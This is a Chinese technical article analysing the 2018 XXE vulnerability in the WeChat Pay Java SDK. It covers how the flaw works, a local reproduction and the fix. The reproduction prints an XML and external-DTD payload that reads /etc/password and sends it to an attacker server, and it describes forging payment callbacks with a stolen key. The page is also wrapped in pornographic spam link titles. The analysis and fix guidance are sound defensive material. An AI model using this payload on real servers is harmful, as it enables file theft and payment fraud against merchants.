精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

可怕!微信支付被曝漏洞,危害不只是“0元也能買買買”!

安全 漏洞 應用安全
微信是最流行的 App 之一,特別是隨著“二維碼付款”成為潮流,越來越多的小伙伴早已習慣不帶現金出門。

 微信是最流行的 App 之一,特別是隨著“二維碼付款”成為潮流,越來越多的小伙伴早已習慣不帶現金出門。

[[235536]]

如果有人告訴你,現在不用你花一分錢,就能用[微信支付]買買買,這種天上掉餡餅的事,你會相信嗎?

7 月 1 日,在老牌漏洞披露平臺 Full Disclosure 出現了一封寫給微信支付的公開信。

發件人是 Rose Jackcode,信的標題是《微信支付官方SDK的XXE安全漏洞(微信支付在商戶頁面遺留了一個后門)》。

▲發表在漏洞披露平臺 Full Disclosure 上的公開信

發件人 Rose Jackcode 在信中稱,他在微信支付官方 SDK(軟件工具開發包)發現了一個安全漏洞,此漏洞可導致商家服務器被入侵,一旦攻擊者獲得商家的關鍵安全密鑰,就可以通過發送偽造信息來欺騙商家而無需付費購買任何東西。

[[235537]]

王牌對王牌

換句話說,黑客利用微信支付的這個漏洞,能實現 0 元無限買買買。

這并不是說說而已,這位網友還直接甩出了兩張圖,展示出漏洞利用的過程,中招者是 VIVO 和陌陌。

▲陌陌、VIVO 的微信支付漏洞利用過程

看不懂沒關系,為了方便小伙伴理解,他們舉了個小例子:

這個過程叫“商戶回調接口”,而這個漏洞可以讓微信支付產生“人家付款成功了”的錯覺,從而讓黑客實現 0 元購。

隨后,微信支付技術安全團隊已關注問題并及時排查,并進行更新,修復了已知的安全漏洞。

雖然微信支付安全漏洞已經被修復,但大家關注的熱度依舊高漲。查看百度熱搜指數發現,微信支付被爆漏洞這一話題依舊高居榜首。

一定不少小伙伴要吐槽了:“怎么又是修復好了才告訴我?有沒有感覺錯過了幾百萬哈....

[[235538]]

大多數人可能并不關注怎么修復安全漏洞,而是較為關心對個體產生的影響。下面我們從技術人的角度談談這次微信支付曝出的漏洞。

技術角度解讀微信支付曝出的漏洞

對于昨天(2018-07-04)微信支付的 SDK 曝出重大漏洞(XXE 漏洞),通過該漏洞,攻擊者可以獲取服務器中目錄結構、文件內容,如代碼、各種私鑰等。

獲取這些信息以后,攻擊者便可以為所欲為,其中就包括眾多媒體所宣傳的“0 元也能買買買”。

漏洞報告地址:http://seclists.org/fulldisclosure/2018/Jul/3

漏洞原理

XXE 漏洞

此次曝出的漏洞屬于 XXE 漏洞,即 XML 外部實體注入(XML External Entity Injection)。

XML 文檔除了可以包含聲明和元素以外,還可以包含文檔類型定義(即 DTD);如下圖所示:

在 DTD 中,可以引進實體,在解析 XML 時,實體將會被替換成相應的引用內容。

該實體可以由外部引入(支持 http、ftp 等協議,后文以 http 為例說明),如果通過該外部實體進行攻擊,就是 XXE 攻擊。

可以說,XXE 漏洞之所以能夠存在,本質上在于在解析 XML 的時候,可以與外部進行通信;當 XML 文檔可以由攻擊者任意構造時,攻擊便成為可能。

在利用 XXE 漏洞可以做的事情當中,最常見最容易實現的,便是讀取服務器的信息,包括目錄結構、文件內容等;本次微信支付爆出的漏洞便屬于這一種。

微信支付漏洞

本次漏洞影響的范圍是:在微信支付異步回調接口中,使用微信支付 SDK 進行 XML 解析的應用。

注意這里的 SDK 是服務器端的 SDK,App 端使用 SDK 并不受影響。

SDK 下載地址如下(目前微信官方宣傳漏洞已修復):https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip

SDK 中導致漏洞的代碼是 WXPayUtil 工具類中的 xmlToMap() 方法:

如上圖所示,由于在解析 XML 時沒有對外部實體的訪問做任何限制,如果攻擊者惡意構造 XML 請求,便可以對服務器進行攻擊。下面通過實例介紹攻擊的方法。

攻擊復現

下面在本機環境下進行復現。

假設本地的 Web 服務器 127.0.0.1:8080 中存在 POST 接口:/wxpay/callback,該接口中接收 XML 字符串做參數,并調用前述的 WXPayUtil.xmlToMap(strXml) 對 XML 參數進行解析。

此外,/etc/password 中存儲了重要的密碼數據(如 password1234)。

攻擊時構造的請求如下:

其中 XML 內容如下:

  1. <?xml version="1.0" encoding="utf-8"?> 
  2. <!DOCTYPE root [ 
  3.     <!ENTITY % file SYSTEM "file:///etc/password"
  4.     <!ENTITY % xxe SYSTEM "http://127.0.0.1:9000/xxe.dtd"
  5.     %xxe; 
  6. ]> 

其中 /etc/password 為要竊取的對象,http://127.0.0.1:9000/xxe.dtd 為攻擊者服務器中的 dtd 文件,內容如下:

  1. <!ENTITY % shell "<!ENTITY % upload SYSTEM 'http://127.0.0.1:9000/evil/%file;'>"
  2. %shell; 
  3. %upload; 

通過 xml+dtd 文件,攻擊者便可以在服務器 http://127.0.0.1:9000 中會收到如下請求:http://127.0.0.1:9000/evil/password1234。

這樣,攻擊者便得到了 /etc/password 文件的內容。

在本例中,攻擊者竊取了 /etc/password 文件中的內容,實際上攻擊者還可以獲取服務器中的目錄結構以及其他文件,只要啟動 Web 應用的用戶具有相應的讀權限。

如果獲取的信息比較復雜,如包含特殊符號,無法直接通過 http 的 URL 發送,則可以采用對文件內容進行 Base64 編碼等方法解決。

漏洞的解決

解決該漏洞的原理非常簡單,只要禁止解析 XML 時訪問外部實體即可。

漏洞曝出以后,微信進行了緊急修復,一方面是更新了 SDK,并提醒開發者使用最新的 SDK。

SDK 中修復代碼如下:

加入了如下兩行代碼:

  1. documentBuilderFactory.setExpandEntityReferences(false); 
  2. documentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); 

此外,微信官方也給出了關于 XXE 漏洞的最佳安全實踐,可以參考:

https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5

筆者本人使用上述方案中建議的如下代碼修復了該漏洞:

  1. DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance(); 
  2. documentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl"true); 
  3. DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder(); 
  4. …… 

擴展與反思

危害不只是“0 元也能買買買”

在很多媒體的報道中,強調該漏洞的風險在于攻擊者可以不支付也可以獲得商品。

攻擊者在通過上述漏洞獲得微信支付的秘鑰以后,有不止一種途徑可以做到不支付就獲得商品。

例如,攻擊者首先在系統中下單,獲得商戶訂單號;然后便可以調用微信支付的異步回調。

其中的簽名參數便可以使用前面獲取的秘鑰對訂單號等信息進行 MD5 獲得;這樣攻擊者的異步回調就可以通過應用服務器的簽名認證,從而獲得商品。

不過,在很多有一定規模的購物網站(或其他有支付功能的網站),會有對賬系統,如定時將系統中的訂單狀態與微信、支付寶的后臺對比。

如果出現不一致可以及時報警并處理,因此該漏洞在這方面的影響可能并沒有想象的那么大。

然而,除了“0 元也能買買買”,攻擊者可以做的事情還有很多很多;理論上來說,攻擊者可能獲得應用服務器上的目錄結構、代碼、數據、配置文件等,可以根據需要進行進一步破壞。

漏洞不限于微信支付 SDK

雖然微信支付曝出該漏洞受到了廣泛關注,但該漏洞絕不僅僅存在于微信支付中。

由于眾多 XML 解析器默認不會禁用對外部實體的訪問,因此應用的接口如果有以下幾個特點就很容易掉進 XXE 漏洞的坑里:

  • 接口使用 XML 做請求參數。
  • 接口對外公開,或容易獲得:例如一些接口提供給外部客戶調用,或者接口使用 http 很容易抓包,或者接口比較容易猜到(如微信支付的異步回調接口)。
  • 接口中解析 XML 參數時,沒有禁用對外部實體的訪問,建議大家最好檢查一下自己的應用中是否有類似的漏洞,及時修復。

XML 與 JSON

XML 與 JSON 是系統間交互常用的兩種數據格式,雖然很多情況下二者可以互換,但是筆者認為,JSON 作為更加輕量級更加純粹的數據格式,更適合于系統間的交互。

而 XML,作為更加重量級更加復雜的數據格式,其 DTD 支持自定義文檔類型,在更加復雜的配置場景下有著更好的效果,典型的場景如 Spring 相關的配置。

題外話:微信支付的簽名認證

在前面曾經提到,應用中存儲的秘鑰一旦泄露,攻擊者便可以完全繞過簽名認證,這是因為微信支付使用的是對稱式的簽名認證。

微信方和應用方,使用相同的秘鑰對相同的明文進行 MD5 簽名,只要應用方的秘鑰泄露,簽名認證就完全成了擺設。

在這方面支付寶的做法更規范也更安全:支付寶為應用生成公私鑰對,公鑰由應用方保存,私鑰由支付寶保存;在回調時,支付寶使用私鑰進行簽名,應用方使用公鑰進行驗證。

這樣只要支付寶保存的私鑰不泄露,攻擊者只有公鑰則難以通過簽名認證。

參考文獻:

  • https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5
  • http://seclists.org/fulldisclosure/2018/Jul/3
  • https://www.cnblogs.com/tongwen/p/5194483.html

關于此次微信出現的支付漏洞你怎么看?掃描下方二維碼,關注51CTO技術棧公眾號。歡迎在技術棧微信公眾號留言探討。

責任編輯:武曉燕 來源: 互聯網
相關推薦

2015-10-27 14:57:22

2014-04-18 09:16:37

2023-07-03 11:37:35

語言模型代碼

2015-06-10 11:10:08

戴爾云計算anycloud

2018-09-20 18:23:49

人工智能AI

2017-03-25 21:13:38

JavaScript排序

2025-04-29 12:05:41

2018-05-11 14:31:45

SSD價格Flash

2020-05-22 13:59:13

SSD內存DDR4

2021-04-17 15:14:24

微信0day漏洞

2021-05-04 19:24:04

數字人民幣數字貨幣區塊鏈

2021-03-13 06:59:07

支付寶隱藏技巧支付平臺

2013-04-25 13:58:15

編程

2016-04-20 17:16:04

2016-05-30 10:14:11

2021-11-05 11:17:45

互聯網996大廠

2020-07-15 09:55:50

fastjson類庫漏洞

2010-08-05 09:29:08

jQuery

2024-11-26 11:02:17

2011-06-29 16:29:19

點贊
收藏

51CTO技術棧公眾號

亚洲午夜一区二区| 精品一区二区日韩| 国产亚洲福利一区| 日本中文字幕影院| 成人福利影视| 中文无字幕一区二区三区| 亚洲在线视频福利| 69视频免费在线观看| 91综合在线| 亚洲国产小视频在线观看| 中文久久久久久| av蜜臀在线| 亚洲欧洲另类国产综合| 麻豆精品蜜桃一区二区三区| a级片在线视频| 性伦欧美刺激片在线观看| 久久久成人精品视频| 久久午夜夜伦鲁鲁片| 亚洲综合资源| 色播五月激情综合网| 日韩精品一区二区免费| 欧美性天天影视| 26uuuu精品一区二区| 亚洲自拍偷拍区| 中国一区二区视频| 国产欧美69| 欧美激情视频一区二区三区不卡| 国产一二三四视频| 免费欧美视频| 亚洲国产精品美女| 国模大尺度视频| 色综合视频一区二区三区日韩| 日韩欧美中文第一页| 日韩精品在线视频免费观看| 超碰最新在线| 1区2区3区精品视频| 视频一区二区精品| 国产一级网站视频在线| 91欧美一区二区| 国产视频在线观看一区| av手机免费看| 国产精品2024| 91免费在线视频| 一级做a爰片久久毛片16| 久久最新视频| 国产精品91久久久| 日本熟女毛茸茸| 美女精品一区| 国产成人在线亚洲欧美| 无码人妻丰满熟妇精品区| 91久久视频| 97精品视频在线| 自拍偷拍欧美亚洲| 亚洲伦伦在线| 97视频在线观看免费高清完整版在线观看| 欧美精品xxxxx| 欧美性久久久| 国语自产精品视频在线看| 国产亚洲欧美精品久久久久久| 欧美日韩精品免费观看视频完整| 美日韩丰满少妇在线观看| 日本福利片在线观看| 91精品蜜臀一区二区三区在线| 久久精品久久久久电影| 99视频只有精品| 国色天香一区二区| 性日韩欧美在线视频| www成人在线| 每日更新成人在线视频| 国产精品一区二区3区| 一级爱爱免费视频| 国产成人精品免费| 国产三区精品| 国产三区四区在线观看| 国产精品欧美极品| 国产精品久久久影院| 成年网站在线视频网站| 色婷婷久久久久swag精品| 福利在线一区二区三区| 成人影院网站ww555久久精品| 日韩欧美一级二级| 菠萝菠萝蜜网站| 欧美天天综合| 欧美成人h版在线观看| 日韩高清精品免费观看| 日韩和欧美的一区| 成人免费看片视频| 日韩一级片免费观看| 久久精品视频一区二区| 亚洲日本无吗高清不卡| 国产丝袜在线播放| 欧美在线免费播放| 中国老熟女重囗味hdxx| 亚洲自拍都市欧美小说| 久久色精品视频| 精品成人久久久| 久久99最新地址| 国产精品乱码视频| 天堂中文8资源在线8| 亚洲成av人片一区二区三区| the porn av| 国产日韩三级| 久久久91精品国产| 亚洲天堂一区在线| 国产福利不卡视频| 日本精品一区二区三区不卡无字幕| 黄色网址在线免费| 色婷婷av一区二区三区软件| 性鲍视频在线观看| 欧美日韩老妇| 欧美一级片一区| www.成人精品| 国产精品久久久久毛片软件| 浮妇高潮喷白浆视频| 国产日韩一区二区三免费高清| 亚洲欧美成人网| 精品无码一区二区三区电影桃花| 蜜桃一区二区三区四区| 美女三级99| www.综合网.com| 日韩一区二区电影网| 快灬快灬一下爽蜜桃在线观看| 国产欧美二区| 国产精华一区二区三区| 欧美videos极品另类| 在线一区二区视频| 特级西西人体wwwww| 国产专区一区| 亚洲精品女av网站| 老司机在线视频二区| 欧美亚洲愉拍一区二区| 免费黄色在线视频| 国产日韩欧美一区| 国产精选一区二区| 嗯啊主人调教在线播放视频| 日韩欧美一区二区视频| 黄页网站免费观看| 国产精品一区二区免费不卡| 一区二区三区欧美成人| 精品176极品一区| 在线电影中文日韩| 在线观看国产区| 国产精品天美传媒| 狠狠躁狠狠躁视频专区| 久久婷婷蜜乳一本欲蜜臀| 国产精品久久久久久久一区探花| 精品一二三区视频| 在线视频你懂得一区| 中文字幕免费高清| 视频一区免费在线观看| 青娱乐一区二区| 国产亚洲精彩久久| www日韩欧美| 国产偷人妻精品一区二区在线| 亚洲欧洲美洲综合色网| 色婷婷一区二区三区在线观看| 天天综合一区| 51蜜桃传媒精品一区二区| 在线三级电影| 亚洲成人久久网| 欧美精品一二三四区| 国产日韩欧美精品综合| 色国产在线视频| 亚洲欧美综合久久久| 成人黄色片视频网站| 成年人黄色大片在线| 亚洲欧美成人在线| 伊人网av在线| 亚洲黄色尤物视频| 天天插天天射天天干| 巨乳诱惑日韩免费av| 亚洲视频欧美在线| 日韩精品一区二区三区中文在线 | 亚洲高清影视| 97超级在线观看免费高清完整版电视剧| 日本无删减在线| 精品香蕉在线观看视频一| 中国a一片一级一片| 亚洲精品综合在线| 久久精品老司机| 久久精品国产亚洲aⅴ| 欧美精品卡一卡二| sdde在线播放一区二区| 99精品99久久久久久宅男| 在线毛片观看| 久久夜色精品国产欧美乱| 少妇人妻偷人精品一区二区 | 色综合久久天天综线观看| 天天操天天操天天| 欧美日韩专区在线| 久久精品国产亚洲AV无码男同| 久久久精品免费网站| 天天碰免费视频| 欧美深夜福利| 日韩免费电影一区二区| 一区二区日韩| 国产精品视频99| 欧美办公室脚交xxxx| 久久综合伊人77777| 人成在线免费视频| 欧美一级免费大片| 中文字幕人妻精品一区| 亚洲福利视频一区| 成人在线观看免费完整| 国产欧美在线观看一区| 国产一级免费片| 久草这里只有精品视频| 男人操女人免费软件| 欧美精品日本| 正在播放久久| 日韩三区视频| 国产不卡一区二区在线观看| 超碰国产精品一区二页| 国产97在线视频| 爱搞国产精品| 欧美黄色小视频| a视频在线观看免费| 伊人久久精品视频| 嫩草研究院在线| 亚洲精品久久视频| 亚洲国产www| 91精品在线观看入口| 亚洲精品国产精品乱码视色| 狠狠躁天天躁日日躁欧美| 日韩激情一区二区三区| 亚洲影视在线播放| 99久久婷婷国产综合| 国产精品拍天天在线| 日本二区在线观看| 久久人人爽爽爽人久久久| 污片免费在线观看| 成人涩涩免费视频| 国产免费a级片| 国产成人小视频| 中文字幕在线观看视频www| 国产一区二区不卡在线| 97人人爽人人| 国内精品伊人久久久久av影院| 久久撸在线视频| 紧缚捆绑精品一区二区| 免费在线观看污网站| 国产自产v一区二区三区c| 精品久久久99| 国产在线播放一区二区三区| 亚洲最大天堂网| 国产在线精品一区二区| 在线观看视频你懂得| 国产福利一区二区| 伦理片一区二区| 99精品热视频| a毛片毛片av永久免费| 久久九九久精品国产免费直播| caopeng视频| 欧美激情中文不卡| 5566中文字幕| 一区二区三区在线视频观看 | 成人精品一区二区三区免费| 国产一区二区三区欧美| 香蕉视频免费在线播放| 欧美成人精品在线观看| 丁香花视频在线观看| 欧美孕妇与黑人孕交| 怡红院成人在线| 成人两性免费视频| 高清精品视频| 日韩和欧美的一区二区| 日韩精品免费一区二区在线观看 | 国内外激情在线| 久久久免费在线观看| 日韩av中字| 成人精品久久av网站| 91精品啪在线观看国产手机| 久久亚洲午夜电影| 日韩一区二区在线| 国产小视频免费| 欧美专区18| 污视频在线观看免费网站| 99re视频这里只有精品| 国产日韩精品中文字无码| 亚洲国产综合人成综合网站| 亚洲国产av一区二区三区| 91精品国产综合久久精品app| 色网站免费观看| 视频在线观看一区二区| 波多野在线观看| 国产精品一区专区欧美日韩| 一区中文字幕电影| 日韩午夜视频在线观看| 欧美黄污视频| 男女无套免费视频网站动漫| 国产成人免费视频| 黄色三级生活片| 亚洲一区二区三区中文字幕| 日本欧美www| 亚洲第一福利网站| 麻豆影院在线| 青青草一区二区| 亚洲精品一区二区三区在线| 日韩欧美一区二区三区四区| 欧美午夜不卡| 九九热免费在线观看| 久久综合av免费| 青娱乐国产在线| 欧美浪妇xxxx高跟鞋交| 欧美少妇另类| 高清亚洲成在人网站天堂| 婷婷久久免费视频| 欧美日韩国产精品一区二区| 极品少妇一区二区三区| 亚洲xxx在线观看| 2021国产精品久久精品| 国产一级在线免费观看| 宅男噜噜噜66一区二区66| 国产人成在线观看| 91chinesevideo永久地址| 网站一区二区| 黄色一级片网址| 久久精品国产网站| www.av天天| 天天色综合天天| 国产成人自拍一区| 九九热这里只有精品免费看| 成人四虎影院| 日韩av影视| 久久高清免费观看| 懂色av粉嫩av蜜乳av| 亚洲国产aⅴ天堂久久| 国产高清在线观看视频| 久久久999精品视频| 欧美天堂在线| 一区二区免费电影| 欧美bbbbb| 美国黄色特级片| 欧美专区在线观看一区| 好男人免费精品视频| 日本aⅴ大伊香蕉精品视频| 任你弄精品视频免费观看| 成年人午夜视频在线观看 | 欧美日韩一级大片网址| 成年午夜在线| 国产欧美日韩视频| 99久久精品国产亚洲精品| 视频二区在线播放| 中文字幕一区二区三区四区| 亚洲视频一区二区三区四区| 中文字幕在线日韩| 国产成人77亚洲精品www| 亚洲国产精品久久久久婷婷老年| 日韩电影在线看| 五月婷婷婷婷婷| 欧美精品第1页| 性网站在线观看| 国产一区自拍视频| 先锋影音久久| 阿v天堂2014| 欧美日韩一区成人| 成人黄色在线电影| 国产欧美在线一区二区| 亚洲一区二区三区高清不卡| 国产精品无码一区二区三区| 91成人看片片| 国产激情视频在线观看| 亚洲aⅴ男人的天堂在线观看| 午夜精品国产| 国产女人18毛片水真多18| 日韩欧美一区视频| 在线观看av的网站| 91性高湖久久久久久久久_久久99| 女人色偷偷aa久久天堂| 中文字幕免费高清视频| 日本丶国产丶欧美色综合| 免费黄色在线看| 精品国产福利| 日本不卡123| 日本老熟俱乐部h0930| 日韩电影在线观看永久视频免费网站| 欧美第一视频| 日本xxx免费| 99国产精品久久久久久久久久久 | 精品久久人人做人人爱| 中文在线最新版地址| 自拍亚洲欧美老师丝袜| 成人免费电影视频| 中文字幕丰满人伦在线| 欧美激情视频网址| 成人在线免费小视频| 性生活在线视频| 日韩欧美aaa| 最近中文字幕免费mv2018在线| 蜜桃成人免费视频| 国产乱子轮精品视频| 免费污污视频在线观看| 久久91精品国产91久久跳| 狠狠色丁香婷婷综合影院| 中文字幕乱妇无码av在线| 91国内精品野花午夜精品| 欧洲在线视频| 亚洲伊人婷婷| 91在线观看地址| av在线免费在线观看|